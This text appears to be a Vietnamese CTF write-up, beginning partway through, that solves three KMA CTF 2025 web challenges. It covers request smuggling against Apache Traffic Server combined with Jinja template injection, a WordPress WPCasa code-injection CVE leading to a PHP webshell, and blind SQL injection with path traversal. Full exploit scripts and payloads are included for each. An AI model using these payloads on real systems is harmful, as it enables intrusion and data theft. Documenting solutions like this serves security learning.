`e` thành `%65`: ![image](https://hackmd.io/_uploads/BkCQt79hgl.png) ### Solution - Intended Đến với cách khai thác sử dụng HTTP request smuggling, mình có đọc được bài research [HTTP/1.1 must die: the desync endgame](https://portswigger.net/research/http1-must-die) của PortSwigger nên làm dễ dàng hơn rất nhiều. Trong phần mô tả của thử thách nhắc tới chunk, nên mình đã nghĩ tới khai thác request smuggling sử dụng `Transfer-Encoding: chunked`. Ở bài research có đề cập tới bài viết [Exploit chunk extensions (TE.TE)](https://w4ke.info/2025/06/18/funky-chunks.html), nó đã chỉ rõ Apache Traffic Server dính lỗ hổng request smuggling: ![image](https://hackmd.io/_uploads/Skz33Q5hll.png) Mình tìm kiếm thì cũng xác định được Apache Traffic Server phiên bản `10.0.4` mà challenge sử dụng có [CVE-2024-53868](https://nvd.nist.gov/vuln/detail/CVE-2024-53868), cho phép request smuggling nếu gửi đi một malformed chunk request. Đôi nét về payload request smuggling **terminator-extension** (`TERM.EXT`) được sử dụng. Nó hoạt động là do cơ chế parsing khác nhau giữa proxy và server (parsing discrepancy) khi xử lý request có header `Transfer-Encoding: chunked`. Proxy sẽ coi `\n` là kết thúc phần chunk header, trong khi server lại coi đó là một phần của chunk extension nằm trong chunk header. Từ đó, server sẽ nhận được request thứ 2: ![image](https://hackmd.io/_uploads/rJ1z1nC2ex.png) Tiến hành khai thác, do không thấy được response nên mình thay đổi payload một chút, lệnh sẽ tạo folder `uploads/foo` và ghi flag vào file `uploads/foo/flag`: ```html {{ lipsum.__globals__.os.popen('mkdir uploads/foo; cat /f* > uploads/foo/flag').read() }} ``` ![image](https://hackmd.io/_uploads/H1ybTr53eg.png) Như ở bên dưới: - Proxy sẽ hiểu `2;\n` là chunk header, `xx\r\n` là chunk body, `64\r\n` là chunk header mới và chunk body là toàn bộ nội dung phía dưới nó. - Server lại hiểu `2;\nxx\r\n` là chunk header và `64\r\n` là chunk body. Do đó mà chúng ta có thể chỉ định thêm một request trong chunk thứ 2 mà không bị proxy chặn, trong khi server vẫn có thể hiểu: ![image](https://hackmd.io/_uploads/B1PZTr93eg.png) Gửi request tới `/uploads/foo/flag` và lụm flag: ![image](https://hackmd.io/_uploads/Hka0pS53gg.png) Script khai thác: ```python= import requests from http.client import HTTPConnection import re HOST, PORT = "localhost", 8188 HOST, PORT = "165.22.55.200", 50001 URL = f"http://{HOST}:{PORT}" def upload_file(): file = { "file": ( "exploit.html", """{{ lipsum.__globals__.os.popen("mkdir uploads/foo; cat /f* > uploads/foo/flag").read() }}""", ) } r = requests.post(url=f"{URL}/upload", files=file) filepath = re.search(r"uploads/[^\s<]+", r.text).group(0) return filepath def smuggle(filepath): conn = HTTPConnection(HOST, PORT) # HEAD, PUT, OPTIONS, PATCH, PROXY, TCP, TCP4, TCP6, FOO conn.putrequest("HEAD", "/render") conn.putheader("Transfer-Encoding", "chunked") conn.endheaders() data = b"2;\n" data += b"xx\r\n" data += b"64\r\n" data += b"0\r\n\r\n" data += b"GET /render?filepath=" + filepath.encode() + b" HTTP/1.1\r\n\r\n" conn.send(data) conn.getresponse() def bypass_proxy(filepath): param = {"filepath": filepath} requests.get(url=f"{URL}/%2frender", params=param) def read_flag(): r = requests.get(url=f"{URL}/uploads/foo/flag") return r.text if __name__ == "__main__": filepath = upload_file() smuggle(filepath) # unintended # bypass_proxy(filepath) print(f"[+] FLAG {read_flag()}") ``` ### Flag `KMACTF{HTTP/1.1_Must_Di3_or_Not?????}` ## CVE-2025-93XX > 1day exploit for 1 hour? > > P/s: remember activate 2 plugins > > author: **meulody** > > https://wordpress.wargame.vn > > [wordpress-6.8.2.zip](https://github.com/nartgnourt/ctf-archive/blob/main/2025/kma-ctf-2025-2/wordpress-6.8.2.zip) ### Solution Challenge này liên quan tới khai thác [CVE-2025-9321](https://nvd.nist.gov/vuln/detail/CVE-2025-9321) của plugin [WPCasa](https://wpcasa.com) trong WordPress. Tác giả cũng tạo thêm một plugin **Safe PHP Class Upload** để tạo điều kiện cho chúng ta khai thác CVE này. ![image](https://hackmd.io/_uploads/HyULPzqhxl.png) Nội dung file `Dockerfile` mình dùng để dựng Docker: ```dockerfile FROM php:8.4-apache # Install system dependencies RUN apt-get update && apt-get install -y \ libpng-dev \ libjpeg-dev \ libfreetype6-dev \ libzip-dev \ libicu-dev \ libonig-dev \ libxml2-dev \ unzip \ && rm -rf /var/lib/apt/lists/* # Configure and install PHP extensions required by WordPress RUN docker-php-ext-configure gd --with-freetype --with-jpeg \ && docker-php-ext-install -j$(nproc) \ gd \ mysqli \ pdo_mysql \ zip \ intl \ mbstring \ xml \ opcache # Enable Apache mod_rewrite for WordPress permalinks RUN a2enmod rewrite # Set recommended PHP.ini settings for WordPress RUN { \ echo 'opcache.memory_consumption=128'; \ echo 'opcache.interned_strings_buffer=8'; \ echo 'opcache.max_accelerated_files=4000'; \ echo 'opcache.revalidate_freq=2'; \ echo 'opcache.fast_shutdown=1'; \ echo 'opcache.enable_cli=1'; \ } > /usr/local/etc/php/conf.d/opcache-recommended.ini RUN { \ echo 'file_uploads=On'; \ echo 'memory_limit=256M'; \ echo 'upload_max_filesize=64M'; \ echo 'post_max_size=64M'; \ echo 'max_execution_time=300'; \ } > /usr/local/etc/php/conf.d/wordpress.ini RUN pecl install xdebug \ && docker-php-ext-enable xdebug COPY php.ini /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini WORKDIR /var/www/html EXPOSE 80 CMD ["apache2-foreground"] ``` Nội dung của file `php.ini`: ```ini= zend_extension=xdebug xdebug.mode=debug xdebug.start_with_request=yes xdebug.client_host=host.docker.internal ``` Tạo file `compose.yaml`: ```yaml= services: wordpress: build: ./src ports: - "1337:80" volumes: - "./src:/var/www/html" depends_on: - mysql environment: WORDPRESS_DB_HOST: mysql WORDPRESS_DB_USER: wordpress WORDPRESS_DB_PASSWORD: wordpress WORDPRESS_DB_NAME: wordpress mysql: image: mysql environment: MYSQL_DATABASE: wordpress MYSQL_USER: wordpress MYSQL_PASSWORD: wordpress MYSQL_ROOT_PASSWORD: rootpassword volumes: - mysql_data:/var/lib/mysql volumes: mysql_data: ``` Chạy lệnh dưới để build Docker: ```sh docker compose up -d ``` ![image](https://hackmd.io/_uploads/Hki4dvq3el.png) Cài đặt một số thông tin và nhấn "Install WordPress": ![image](https://hackmd.io/_uploads/rkpv_P9hgx.png) Sau khi đăng nhập với admin thành công, chúng ta cần activate 2 plugins để có thể khai thác: ![image](https://hackmd.io/_uploads/r1Cytvq2gx.png) Tạo file cấu hình `.vscode/launch.json` trong VS Code để có thể debug: ```json { "configurations": [ { "name": "Listen for Xdebug", "type": "php", "request": "launch", "port": 9003, "pathMappings": { "/var/www/html/": "${workspaceFolder}/src" } } ] } ``` Theo mô tả của challenge, mình tìm được [CVE-2025-9321](https://zeropath.com/blog/cve-2025-9321-wpcasa-wordpress-plugin-code-injection-summary) của plugin **WPCasa**, cho phép khai thác Code Injection. Đọc source tại `wp-content/plugins/wpcasa/includes/class-wpsight-api.php`, mình thấy giá trị lấy từ tham số `wpsight-api` được dùng để khởi tạo class nếu class đó tồn tại: ![image](https://hackmd.io/_uploads/ryZYv9Rhll.png) Chức năng của plugin **Safe PHP Class Upload**: - Tạo thêm một REST API route `safe-upload/v1/upload` (<font color="orange">line 18-27</font>): - Cho phép tối đa 64 ký tự trong file (<font color="orange">line 95-97</font>). - Chỉ có thể tải lên file chứa định nghĩa của class (<font color="orange">line 104-106</font>). - Nội dung không được chứa các hàm nguy hiểm được chỉ định trong mảng `$dangerous` để tránh RCE (<font color="orange">line 108-111</font>). - File tải lên chỉ được lưu với extension là `.txt` (<font color="orange">line 113-114</font>). ```php= <?php /* Plugin Name: Safe PHP Class Upload (read-only, non-executable) Description: A plugin to safely upload PHP class files for review, without executing them. Files are stored as .txt to prevent execution. Version: 0.1 Author: meulody */ if (!defined('ABSPATH')) { exit; } class Safe_Class_Uploader { const SAFE_UPLOAD_DIR = 'uploads_safe_classes'; const MAX_FILE_SIZE = 64; public function __construct() { add_action('rest_api_init', function () { register_rest_route('safe-upload/v1', '/upload', array( 'methods' => 'POST', 'callback' => array($this, 'handle_upload'), 'permission_callback' => '__return_true' )); }); } private function ensure_dir() { $dir = self::SAFE_UPLOAD_DIR; if (!is_dir($dir)) { if (!@mkdir($dir, 0750, true)) { return new WP_Error('dir_error', 'Could not create safe storage directory on server.', array('status' => 500)); } } return true; } private function has_dangerous_tokens($content) { $dangerous = array( 'exit(', 'die(', 'file(', 'echo(', 'print(', 'printf(', 'print_r(', 'var_dump(', 'var_export(', 'debug_zval_dump(', 'encode(', 'decode(', 'exec(', 'system(', 'shell_exec(', 'passthru(', 'proc_open(', 'eval(', 'assert(', '`', 'contents(', 'open(', 'bin2hex(', 'serialize(', 'htmlspecialchars(', 'htmlentities(', 'unlink(', 'rename(', 'goto ', 'new ', 'copy (' ); $hay = strtolower($content); foreach ($dangerous as $tok) { if (strpos($hay, $tok) !== false) return $tok; } return false; } public function handle_upload(\WP_REST_Request $request) { $ok = $this->ensure_dir(); if (is_wp_error($ok)) return $ok; $files = $request->get_file_params(); if (empty($files['file'])) { return new WP_Error('no_file', 'Could not find upload file (field name = file).', array('status' => 400)); } $file = $files['file']; if ($file['size'] > self::MAX_FILE_SIZE) { return new WP_Error('too_big', 'File is too large.', array('status' => 400)); } $content = file_get_contents($file['tmp_name']); if ($content === false) { return new WP_Error('read_error', 'Could not read temporary file.', array('status' => 500)); } if (!preg_match('/class\s+[A-Za-z0-9_]+/i', $content)) { return new WP_Error('no_class', 'File does not contain a valid class declaration.', array('status' => 400)); } $bad = $this->has_dangerous_tokens($content); if ($bad !== false) { return new WP_Error('dangerous_code', 'File contains dangerous token: ' . $bad, array('status' => 400)); } $filename = pathinfo($file['name'], PATHINFO_FILENAME) . '.txt'; $fullpath = rtrim(self::SAFE_UPLOAD_DIR, '/') . '/' . $filename; if (file_put_contents($fullpath, $content) === false) { return new WP_Error('write_err', 'Could not save the safe file.', array('status' => 500)); } @chmod($fullpath, 0644); return rest_ensure_response(array( 'status' => 'ok', 'message' => 'Upload successful.', )); } } new Safe_Class_Uploader(); ``` Tuyệt vời, kết hợp với lỗ hổng Code Injection của plugin **WPCasa** cho phép khởi tạo một class tuỳ ý nếu class đó tồn tại, chúng ta sẽ tải lên một class có method `__construct()` để khi khởi tạo sẽ gọi method này và chạy code bên trong nó. Nội dung của file mà mình tải lên, ở đây mình dùng tag PHP `<?` để đỡ vượt 64 ký tự: ```php <?class K{function __construct(){$_GET[0]($_GET[1]);}} ``` > [!Note] > Mình sử dụng `$_GET` để lấy tên hàm cũng như đối số của nó từ tham số `0`, `1` trên URL. Lý do là ở trong PHP có thể gọi hàm bằng cách bọc tên hàm trong chuỗi, ví dụ như `"system"("id")`. Do chưa làm nhiều về WordPress, mình cứ loay hoay mãi không biết tại sao lại không truy cập được vào API với `/wp-json`, thì ra là phải kích hoạt Pretty Permalinks. Tham khảo tại: - https://wordpress.stackexchange.com/questions/314808/why-does-wp-json-not-work-on-the-plain-permalink-structure - https://wordpress.org/documentation/article/customize-permalinks Chúng ta có thể xem tất cả các routes bằng cách truy cập vào `/?rest_route=/`: ![image](https://hackmd.io/_uploads/r12ClqR3gx.png) Để gọi được tới API tải lên file, chúng ta truy cập `/?rest_route=/safe-upload/v1/upload` với method POST: ![image](https://hackmd.io/_uploads/SJRXZ9Rnle.png) Để dễ dàng tải lên file thì mình dùng lệnh `curl` và gửi request qua proxy: ```sh $ curl -x 0:8080 -F "file=@exploit.php" 'http://localhost:1337/?rest_route=/safe-upload/v1/upload' {"status":"ok","message":"Upload successful."} ``` ![image](https://hackmd.io/_uploads/rJrDi9C3ex.png) Xác nhận code chạy thành công với request `/?wpsight-api=K&0=sleep&1=5`: ![image](https://hackmd.io/_uploads/B1FJj503xg.png) Script khai thác: ```python= import requests URL = "http://localhost:1337" URL = "https://wordpress.wargame.vn" def upload_class(): file = { "file": ( "exploit.php", """<?class K{function __construct(){$_GET[0]($_GET[1]);}}""", ) } r = requests.post( url=f"{URL}", params={"rest_route": "/safe-upload/v1/upload"}, files=file ) print(r.json()["message"]) def rce(): while True: cmd = input("$ ").strip() if cmd == "exit": exit(0) params = {"wpsight-api": "K", "0": "system", "1": f"{cmd} > wp-content/output"} requests.get(url=f"{URL}", params=params) r = requests.get(url=f"{URL}/wp-content/output") print(r.text) if __name__ == "__main__": upload_class() rce() ``` ### Flag `KMACTF{Y3s_it's__1dayupload_php_class_4nd_ex3cut3_it_⚆_⚆}` ## Data Lost Prevention > Joke kể chuyện: > > Một buổi sáng, anh kỹ sư IT phát hiện hệ thống Data Loss Prevention báo động đỏ: “File log bị lộ!”. Cả phòng họp nhốn nháo, ai cũng tưởng do gán nhầm quyền truy cập. Một anh khác cười khẩy: > > – “Chắc lại ai để chmod 777 rồi!” > > Nhưng khi kiểm tra kỹ, hóa ra không phải lỗi người, mà là một lỗ hổng dịch vụ. Kẻ xấu chỉ cần gõ đúng URL là có thể xem hết log. Trong đó toàn ghi chép: ai gửi mail, ai copy file, thậm chí còn thấy mấy lần sếp thử chặn... nhưng thất bại. > > Một chị trong phòng cười phá lên: > > – “May mà log chưa ghi lại vụ tôi lỡ tay tải phim về máy công ty!” > > Cả nhóm tái mặt nhưng lại phì cười, bởi đúng là log này chẳng khác nào “nhật ký bí mật” của cả cơ quan. Cuối cùng, giải pháp được đưa ra: vá lỗ hổng, mã hóa log, và thêm một quy định mới – “Đọc log phải ký cam kết không được kể lại chuyện cười trong đó”. > > author: **meulody** > > https://dlp.wargame.vn > > [data-lost-prevention.zip](https://github.com/nartgnourt/ctf-archive/blob/main/2025/kma-ctf-2025-2/data-lost-prevention.zip) ### Solution ![image](https://hackmd.io/_uploads/SJkLfUR2xg.png) Challenge này sau khi kết thúc giải mình mới làm được, hơi tiếc một chút do nó không quá khó. Đây là một challenge liên quan tới khai thác lỗ hổng SQL Injection, mà cụ thể hơn là ở dạng Boolean-based SQL Injection. Từ đó, có thể đọc được flag bằng cách tận dụng Path Traversal. Chúng ta được cung cấp source code, sau khi unzip được thư mục với cấu trúc như sau: ```text data_lost_prevention ├── db │ └── init │ ├── 001_schema.sql │ └── 002_seed.sql ├── docker-compose.yml ├── flags ├── init_flag.sh ├── logs │ └── app.log ├── readme.txt └── web ├── Dockerfile ├── src │ ├── api │ │ └── search.php │ ├── attachments.php │ ├── cases.php │ ├── export-ui.php │ ├── export.php │ ├── index.php │ ├── init_flag.php │ └── lib │ ├── db.php │ └── util.php └── start.sh ``` Mình đọc file `readme.txt` trước tiên, thấy có 2 lệnh để chạy Docker và thực thi `./init-flag.sh` khởi tạo flag, file này hướng dẫn chúng ta cách dựng challenge ở local: ```text docker-compose up -d chmod +x ./init-flag.sh && ./init-flag.sh ``` Nội dung của file `init-flag.sh`, nó sẽ chạy code PHP với lệnh `php /var/www/html/init_flag.php` bên trong container `web`: ```sh #!/bin/bash set -e docker exec -it web php /var/www/html/init_flag.php ``` Tiếp tục đọc file `init_flag.php`, nó thực hiện ghi đường dẫn của file chứa flag vào cột `storage_path` trong bảng `attachments`: ```php= <?php declare(strict_types=1); require __DIR__ . '/lib/db.php'; function uuidv4(): string { $data = random_bytes(16); $data[6] = chr((ord($data[6]) & 0x0f) | 0x40); $data[8] = chr((ord($data[8]) & 0x3f) | 0x80); $hex = bin2hex($data); return sprintf('%s-%s-%s-%s-%s', substr($hex,0,8), substr($hex,8,4), substr($hex,12,4), substr($hex,16,4), substr($hex,20,12)); } $chk = $pdo->query("SELECT COUNT(*) AS c FROM attachments WHERE is_lost=1"); $has = $chk ? (int)$chk->fetch()['c'] : 0; if ($has > 0) { exit(0); } $uuid = uuidv4(); $dir = '/var/data/flags'; @mkdir($dir, 0755, true); $flagPath = $dir . '/flag-' . $uuid . '.txt'; $flagVal = "KMACTF{hehe}\n"; file_put_contents($flagPath, $flagVal); $stmt = $pdo->prepare("INSERT INTO attachments(case_id, filename, storage_path, is_lost) VALUES (1, ?, ?, 1)"); $stmt->execute(['Q2-incident-raw.csv', $flagPath]); exit(0); ``` Xem file `docker-compose.yml`, có 02 services là `db` và `web`. Database sử dụng MySQL, truy cập vào web thông qua port `8081`: ```yaml= version: '3.8' services: db: image: mysql:8.2 container_name: db environment: MYSQL_DATABASE: casetrack MYSQL_USER: ctf MYSQL_PASSWORD: ctfpass MYSQL_ROOT_PASSWORD: rootpass command: [ "--sql-mode=STRICT_TRANS_TABLES,NO_ZERO_DATE,NO_ZERO_IN_DATE,ERROR_FOR_DIVISION_BY_ZERO" ] volumes: - ./db/init:/docker-entrypoint-initdb.d web: build: ./web container_name: web ports: - "8081:80" restart: unless-stopped volumes: - ./web/src/:/var/www/html/ - ./flags:/var/data/flags - ./logs:/var/log/app depends_on: - db environment: - DB_HOST=db - DB_NAME=casetrack - DB_USER=ctf - DB_PASS=ctfpass ``` Ở file `api/search.php` tồn tại lỗ hổng SQL Injection, dữ liệu chúng ta kiểm soát qua tham số `q`. Nó sẽ được loại bỏ tất cả các khoảng trắng (<font color="orange">line 10</font>), loại bỏ các từ `or`, `and` không phân biệt hoa thường (<font color="orange">line 11</font>), loại bỏ `union`, `load_file`, `outfile` và `=` không phân biệt hoa thường. Sau khi xử lý, chuỗi sẽ được gán vào biến `$filtered` (<font color="orange">line 13</font>), giới hạn độ dài tối đa là 90 ký tự và đưa trực tiếp vào câu truy vấn (<font color="orange">line 20</font>): ```php= <?php declare(strict_types=1); require __DIR__ . '/../lib/util.php'; require __DIR__ . '/../lib/db.php'; header('Content-Type: application/json'); $q = $_GET['q'] ?? ''; $q2 = preg_replace('/\s+/u', '', $q); $q2 = preg_replace('/\b(?:or|and)\b/i', '', $q2); $q2 = str_ireplace(["union","load_file","outfile","="], '', $q2); $filtered = $q2; if (strlen($filtered) > 90) { echo json_encode(['ok' => false]); exit; } $sql = "SELECT id,title FROM cases WHERE title RLIKE '.*$filtered' AND owner_id = :uid LIMIT 1"; $stmt = $pdo->prepare($sql); $stmt->execute([':uid' => $_SESSION['uid'] ?? 1]); $row = $stmt->fetch(); usleep(random_int(1500, 5000)); echo json_encode(['ok' => (bool)$row]); ``` Có thể thấy tại file `export.php` cho phép chúng ta đọc file tuỳ ý. Tên file được lấy từ tham số `file` và loại bỏ đi hết các chuỗi `../` (<font color="orange">line 8-10</font>). Server chỉ cho phép đọc file có extension là `.log` và `.txt` (<font color="orange">line 12-15</font>). Sau đó tên file sẽ được decode URL và nối vào `/var/log/app/` (<font color="orange">line 17-18</font>). Vậy có thể nghĩ ngay tới việc encode URL 2 lần để bypass Path Traversal. ```php= <?php declare(strict_types=1); $base = '/var/log/app/'; $file = $_GET['file'] ?? 'app.log'; while (str_contains($file, '../')) { $file = str_replace('../', '', $file); } if (!preg_match('/\.(log|txt)$/i', $file)) { http_response_code(400); exit('bad ext'); } $file2 = urldecode($file); $path = $base . $file2; $real = realpath($path); if ($real !== false && str_starts_with($real, $base)) { @readfile($real); exit; } if (str_starts_with($path, $base)) { @readfile($path); } else { http_response_code(403); echo 'forbidden'; } ``` Như vậy, flow khai thác sẽ là SQL Injection ở `api/search.php` để lấy tên file flag, sau đó đọc flag ở `export.php`. Tiến hành khai thác, mình dựng Docker và chạy lệnh dưới để khởi tạo flag trước: ```sh $ docker exec -it web php /var/www/html/init_flag.php ``` Kiểm tra ở container `web` và ở database đã thấy tạo flag thành công: ![image](https://hackmd.io/_uploads/rylT5bF3le.png) ![image](https://hackmd.io/_uploads/HkP6qbK3ex.png) Chúng ta sẽ khai thác Boolean-based SQL Injection do server trả về `true` hoặc `false` phụ thuộc vào câu truy vấn có trả về dữ liệu nào hay không (`echo json_encode(['ok' => (bool)$row]);`). - Bypass khoảng trắng: Sử dụng `/**/` hoặc `()`. - Bypass `or`, `and`: Sử dụng `||` hoặc `&&`. Mình sẽ thử với subquery thông thường trước để brute-force chuỗi uuid trong tên file flag. Do có thêm giới hạn về độ dài của payload, để payload ngắn hơn, mình dùng hàm `MID()` thay vì `SUBSTR()` hay `SUBSTRING()` để cắt ký tự và so sánh ký tự sẽ dùng toán tử `LIKE`. > [!Note] > MySQL không phân biệt hoa thường khi so sánh, trong trường hợp cần phân biệt hoa thường thì chúng ta có thể dùng toán tử [BINARY](https://dev.mysql.com/doc/refman/8.4/en/cast-functions.html). ![image](https://hackmd.io/_uploads/rJD-s85nel.png) Thay vì dùng `/**/` cần 4 ký tự, mình chọn `()` để bypass khoảng trắng: ```sql SELECT id,title FROM cases WHERE title RLIKE '.*'&&(SELECT(MID(storage_path,22,1))LIKE('7')FROM(attachments)); ``` ![image](https://hackmd.io/_uploads/HydU3U9nge.png) Thử gửi request, chú ý encode URL dấu `&&` thành `%26%26` và dấu `#` thành `%23` (để comment lại dấu `'` trong câu query gốc). Khi điều kiện đúng, tức là ký tự khớp, kết quả trả về `true`: ![image](https://hackmd.io/_uploads/BymQa89hxx.png) Còn khi điều kiện sai, ký tự không khớp, `false` được trả về: ![image](https://hackmd.io/_uploads/ryj7a8q2xx.png) Cứ thử lần lượt như trên với các vị trí tiếp theo trong tên file, khi tìm được tên file, chúng ta chỉ cần thêm `..%252F..%252F..%252F` vào trước đường dẫn tới file flag để bypass Path Traversal. Để khai thác nhanh chóng, mình viết script bên dưới: > [!Note] > Do gửi request với module `requests`, nó tự động encode URL nên chúng ta chỉ cần sử dụng `..%2F..%2F..%2F`. ```python= import requests import string URL = "http://localhost:8081" URL = "https://dlp.wargame.vn" charset = string.ascii_lowercase + string.digits + "-" flag_path_test = "/var/data/flags/flag-7f06dfa9-c590-4cb4-baba-55c746c132f4.txt" def get_flag_path(): flag_path = "/var/data/flags/flag-" start = len(flag_path) + 1 end = len(flag_path_test[:-4]) + 1 for i in range(start, end): for char in charset: param = { "q": f"'&&(SELECT(MID(storage_path,{i},1))LIKE('{char}')FROM(attachments))#" } r = requests.get(url=f"{URL}/api/search.php", params=param) if r.json()["ok"]: flag_path += char print(flag_path) break return flag_path + ".txt" def read_flag(flag_path): param = {"file": "..%2F..%2F..%2F" + flag_path} r = requests.get(url=f"{URL}/export.php", params=param) return r.text if __name__ == "__main__": flag_path = get_flag_path() print(f"[+] FLAG: {read_flag(flag_path)}") ``` ### Flag `KMACTF{i'M_bL1nd_bUt_u_'r3_Sm4rZZZZ}` ## Lời Kết Qua giải KMA CTF 2025 lần II này, mình nhận thấy bản thân vẫn còn rất tâm lý, không có đủ sự bình tĩnh để phân tích và giải challenge khi thấy những người chơi khác đã giải được challenge đó. Thêm nữa, mình cũng đọc các bài viết phân tích lỗ hổng liên quan đến challenge không kỹ nên tốc độ giải challenge bị chậm đi rất nhiều. Mình ghi chú lại những điều này để tự nhắc bản thân sẽ không mắc phải nó nữa trong tương lai, từ đó có thể đạt được một kết quả tốt hơn. Và cuối cùng, mình cảm ơn các bạn đã đọc bài viết, mình hy vọng nó sẽ giúp ích phần nào cho các bạn trong hành trình theo đuổi mảng Web Exploitation. 🔥 <img src="https://hackmd.io/_uploads/r1xgmA8hgl.jpg" alt="KCSC" style="display:block; margin:0 auto; max-width:25%;"> <p style="color: orange; text-align: center; font-weight: bold"> KMA Cyber Security Club </p> <p style="color: orange; text-align: center;"> Make KMA Greater </p>